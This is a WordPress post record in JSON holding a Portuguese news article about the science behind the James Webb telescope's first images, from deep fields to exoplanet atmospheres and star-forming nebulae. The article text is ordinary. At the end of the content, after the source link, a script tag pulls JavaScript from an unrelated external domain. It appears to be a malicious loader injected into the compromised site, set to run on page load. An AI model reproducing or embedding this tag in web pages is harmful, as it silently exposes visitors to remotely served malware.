{"id":2455,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/o-que-o-james-webb-pode-nos-ensinar\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"o-que-o-james-webb-pode-nos-ensinar","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/o-que-o-james-webb-pode-nos-ensinar\/","title":{"rendered":"o que o James Webb pode nos ensinar"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Al\u00e9m de impressionantes, <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/07\/12\/imagens-telescopio-espacial-james-webb.htm\">as primeiras imagens do telesc\u00f3pio espacial James Webb<\/a> aportam uma grande quantidade de conhecimentos cient\u00edficos. A seguir, alguns pontos que os cientistas esperam esclarecer.<\/p>\n<h2>No profundo<\/h2>\n<p>A primeira fotografia do telesc\u00f3pio divulgada na segunda-feira (11) ofereceu a imagem infravermelha mais n\u00edtida e profunda do universo distante obtida at\u00e9 agora, conhecida como &#8220;Primeiro Campo Profundo de Webb&#8221;.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x1 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/81\/2022\/07\/11\/primeira-imagem-tirada-pelo-telescopio-james-webb-1657578393150_v2_750x1.jpg\" class=\"pinit-img\" alt=\"SMACS 0723 - NASA, ESA, CSA, e STScI - NASA, ESA, CSA, e STScI\" data-crop=\"{&quot;xs&quot;:&quot;450x1&quot;,&quot;sm&quot;:&quot;750x1&quot;,&quot;md&quot;:&quot;750x1&quot;,&quot;lg&quot;:&quot;750x1&quot;}\" width=\"750\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 0.13333333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>SMACS 0723<\/p>\n<p> <span>Imagem: NASA, ESA, CSA, e STScI<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Os c\u00edrculos e elipses brancos s\u00e3o do aglomerado de gal\u00e1xias chamado SMACS 0723, como apareceu h\u00e1 mais de 4,6 bilh\u00f5es de anos, mais ou menos na \u00e9poca em que nosso Sol tamb\u00e9m se formou.<\/p>\n<p>Os arcos avermelhados surgem da luz de gal\u00e1xias antigas que viajaram mais de 13 bilh\u00f5es de anos, curvando-se em torno do grupo do primeiro plano, que atua como uma lente gravitacional.<\/p>\n<p>A astrof\u00edsica da Nasa Amber Straughn disse ter ficado impressionada com &#8220;os detalhes surpreendentes que podem ser vistos em algumas dessas gal\u00e1xias&#8221;.<\/p>\n<p>&#8220;H\u00e1 muito mais detalhes, \u00e9 como ver em alta defini\u00e7\u00e3o&#8221;.<\/p>\n<p>Jane Rigby, tamb\u00e9m astrof\u00edsica da Nasa, acrescentou que a imagem pode nos ensinar mais sobre a misteriosa mat\u00e9ria escura, que se acredita compreender 85% da mat\u00e9ria do universo e \u00e9 a principal causa do efeito de amplia\u00e7\u00e3o c\u00f3smico.<\/p>\n<p>Tirada de uma exposi\u00e7\u00e3o de 12,5 horas, a imagem composta \u00e9 considerada um teste. Com um tempo de exposi\u00e7\u00e3o mais longo, Webb deve quebrar recordes para ver as primeiras centenas de milh\u00f5es de anos ap\u00f3s o Big Bang, 13,8 bilh\u00f5es de anos atr\u00e1s.<\/p>\n<h2>Planetas habit\u00e1veis<\/h2>\n<p>Webb capturou a marca d&#8217;\u00e1gua, junto com evid\u00eancias n\u00e3o detectadas anteriormente de nuvens e neblina, na atmosfera de um planeta gigante quente chamado &#8220;WASP-96 b&#8221;.<\/p>\n<p>Um dos mais de 5.000 exoplanetas confirmados na Via L\u00e1ctea, o WASP-96 b orbita uma estrela distante como o nosso Sol.<\/p>\n<p>Mas o que realmente excita os astr\u00f4nomos \u00e9 a perspectiva de mirar Webb em mundos rochosos menores, como a nossa pr\u00f3pria Terra, para procurar atmosferas e corpos de \u00e1gua l\u00edquida que possam sustentar a vida.<\/p>\n<h2>Morte de uma estrela<\/h2>\n<p>As c\u00e2meras do telesc\u00f3pio captaram um cemit\u00e9rio estelar, na nebulosa do Anel do Sul. A imagem revelou, com grande detalhe, a t\u00eanue estrela moribunda em seu centro, coberta de poeira.<\/p>\n<p>Os astr\u00f4nomos usar\u00e3o o Webb para aprofundar em detalhes sobre &#8220;nebulosas planet\u00e1rias&#8221; como essas, que expelem nuvens de g\u00e1s e poeira.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x1 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/54\/2022\/07\/12\/12jul2022-12jul2022-nebulosa-de-anel-do-sul-uma-nebulosa-planetaria-uma-nebulosa-de-nuvem-de-gas-que-fica-ao-redor-de-uma-estrela-morta-ela-fica-a-uma-distancia-de-2000-anos-luz-da-terra-1657638343117_v2_750x1.jpg\" class=\"pinit-img\" alt=\"Nebulosa do Anel do Sul - NASA, ESA, CSA, e STScI - NASA, ESA, CSA, e STScI\" data-crop=\"{&quot;xs&quot;:&quot;450x1&quot;,&quot;sm&quot;:&quot;750x1&quot;,&quot;md&quot;:&quot;750x1&quot;,&quot;lg&quot;:&quot;750x1&quot;}\" width=\"750\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 0.13333333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Nebulosa do Anel do Sul<\/p>\n<p> <span>Imagem: NASA, ESA, CSA, e STScI<\/span><\/figcaption><\/figure>\n<\/div>\n<p>A expuls\u00e3o de g\u00e1s e nuvens para ap\u00f3s algumas dezenas de milhares de anos e, uma vez que o material se dispersa no espa\u00e7o, novas estrelas podem se formar.<\/p>\n<h2>Dan\u00e7a c\u00f3smica<\/h2>\n<p>O Quinteto de Stephan \u00e9 um agrupamento de cinco gal\u00e1xias encontradas na constela\u00e7\u00e3o de P\u00e9gaso.<\/p>\n<p>Webb conseguiu espiar atrav\u00e9s das nuvens de poeira e g\u00e1s no centro da gal\u00e1xia para obter novos dados, como a velocidade e a composi\u00e7\u00e3o dos fluxos de g\u00e1s perto de seu buraco negro supermassivo.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x1 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/5f\/2022\/07\/12\/12jul2022-quinto-de-stephan-grupo-de-cinco-galaxias-que-fica-na-constelacao-de-pegasus-a-cerca-de-290-milhoes-anos-luz-da-terra-imagem-foi-capturada-pelo-james-webb-1657639221855_v2_750x1.jpg\" class=\"pinit-img\" alt=\"Quinteto de Stephan - NASA, ESA, CSA e STScI - NASA, ESA, CSA e STScI\" data-crop=\"{&quot;xs&quot;:&quot;450x1&quot;,&quot;sm&quot;:&quot;750x1&quot;,&quot;md&quot;:&quot;750x1&quot;,&quot;lg&quot;:&quot;750x1&quot;}\" width=\"750\" height=\"1\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 0.13333333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Quinteto de Stephan<\/p>\n<p> <span>Imagem: NASA, ESA, CSA e STScI<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Quatro das gal\u00e1xias est\u00e3o pr\u00f3ximas umas das outras e em uma &#8220;dan\u00e7a c\u00f3smica&#8221; de repetidos encontros pr\u00f3ximos.<\/p>\n<p>Ao estudar este grupo, &#8220;aprende-se como as gal\u00e1xias colidem e se fundem&#8221;, disse o cosm\u00f3logo John Mather, observando que a pr\u00f3pria Via L\u00e1ctea foi criada a partir de 1.000 gal\u00e1xias menores.<\/p>\n<p>Saber mais sobre o buraco negro tamb\u00e9m nos dar\u00e1 uma melhor compreens\u00e3o de Sagit\u00e1rio A*, o buraco negro no centro da Via L\u00e1ctea, que est\u00e1 envolto em poeira.<\/p>\n<h2>Ber\u00e7\u00e1rio estelar<\/h2>\n<p>Talvez a imagem mais bonita capturada seja a dos &#8220;Penhascos C\u00f3smicos&#8221; da nebulosa Carinae, um ber\u00e7\u00e1rio estelar.<\/p>\n<p>Aqui, Webb revelou pela primeira vez regi\u00f5es de forma\u00e7\u00e3o estelar anteriormente invis\u00edveis, o que nos dir\u00e1 mais sobre por que as estrelas de uma certa massa surgem e o que determina o n\u00famero de forma\u00e7\u00f5es em uma determinada regi\u00e3o.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/34\/2022\/07\/12\/12jul2022-carina-nebulosa-uma-das-imagens-ineditas-feitas-pelo-telescopio-james-webb-e-divulgadas-pelo-nasa-1657640273870_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Nebulosa Carina - NASA, ESA, CSA e STScI - NASA, ESA, CSA e STScI\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Nebulosa Carina<\/p>\n<p> <span>Imagem: NASA, ESA, CSA e STScI<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Podem parecer montanhas, mas o mais alto dos picos escarpados tem sete anos-luz de altura, e as estruturas amarelas s\u00e3o feitas de enormes mol\u00e9culas de hidrocarbonetos, disse Klaus Pontoppidan, cientista do projeto Webb.<\/p>\n<p>Al\u00e9m de ser o material das estrelas, o material nebular tamb\u00e9m pode ser nossa origem.<\/p>\n<p>&#8220;Esta pode ser a maneira como o universo transporta carbono, o carbono do qual somos feitos, para planetas que podem ser habit\u00e1veis para a vida&#8221;, explicou Pontoppidan.<\/p>\n<h2>Grande desconhecido<\/h2>\n<p>De acordo com Straughn, talvez o mais emocionante de tudo seja viajar para o desconhecido.<\/p>\n<p>O telesc\u00f3pio Hubble desempenhou um papel fundamental na descoberta de que a energia escura faz o universo se expandir a uma taxa cada vez maior, &#8220;por isso, \u00e9 dif\u00edcil imaginar o que podemos aprender com este instrumento 100 vezes mais poderoso&#8221;.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/afp\/2022\/07\/13\/o-que-podemos-aprender-com-o-telescopio-espacial-james-webb.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Al\u00e9m de impressionantes, as primeiras imagens do telesc\u00f3pio espacial James Webb aportam uma grande quantidade de conhecimentos cient\u00edficos. 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